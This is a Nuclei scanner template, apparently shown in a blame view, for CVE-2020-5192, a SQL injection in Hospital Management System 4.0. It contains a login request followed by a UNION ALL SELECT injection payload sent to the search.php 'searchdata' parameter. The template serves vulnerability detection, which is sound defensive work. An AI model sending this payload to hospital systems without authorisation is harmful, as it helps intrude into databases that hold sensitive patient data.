nuclei-templates/cves/2020/CVE-2020-5192.yaml

56 lines
1.6 KiB
YAML
Raw Normal View History

id: CVE-2020-5192
2022-08-27 14:19:36 +00:00
info:
2022-08-27 14:19:36 +00:00
name: Hospital Management System 4.0 - SQL Injection
author: TenBird
severity: high
2022-08-27 14:19:36 +00:00
description: |
Hospital Management System 4.0 contains multiple SQL injection vulnerabilities because multiple pages and parameters do not validate user input. An attacker can possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site.
reference:
2022-08-27 14:19:36 +00:00
- https://www.exploit-db.com/exploits/47840
- https://phpgurukul.com/hospital-management-system-in-php/
- https://nvd.nist.gov/vuln/detail/CVE-2020-5192
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.8
cve-id: CVE-2020-5192
cwe-id: CWE-89
2022-08-27 14:19:36 +00:00
metadata:
verified: "true"
tags: cve2020,hms,cms,sqli,authenticated,edb,cve
2022-08-27 14:19:36 +00:00
variables:
num: "999999999"
requests:
- raw:
- |
POST /hospital/hms/doctor/index.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
2022-08-27 14:19:36 +00:00
username={{username}}password={{password}}&submit=&submit=
2022-08-27 14:19:36 +00:00
- |
POST /hospital/hms/doctor/search.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
2022-08-27 14:19:36 +00:00
searchdata='+UNION+ALL+SELECT+NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(CONCAT(md5({{num}}),1),2),NULL--+PqeG&search=
host-redirects: true
2022-08-27 14:19:36 +00:00
max-redirects: 2
cookie-reuse: true
matchers-condition: and
matchers:
- type: word
part: body
words:
2022-08-30 05:41:12 +00:00
- '{{md5(num)}}'
2022-08-27 14:19:36 +00:00
- type: status
status:
- 200
# Enhanced by mp on 2022/09/28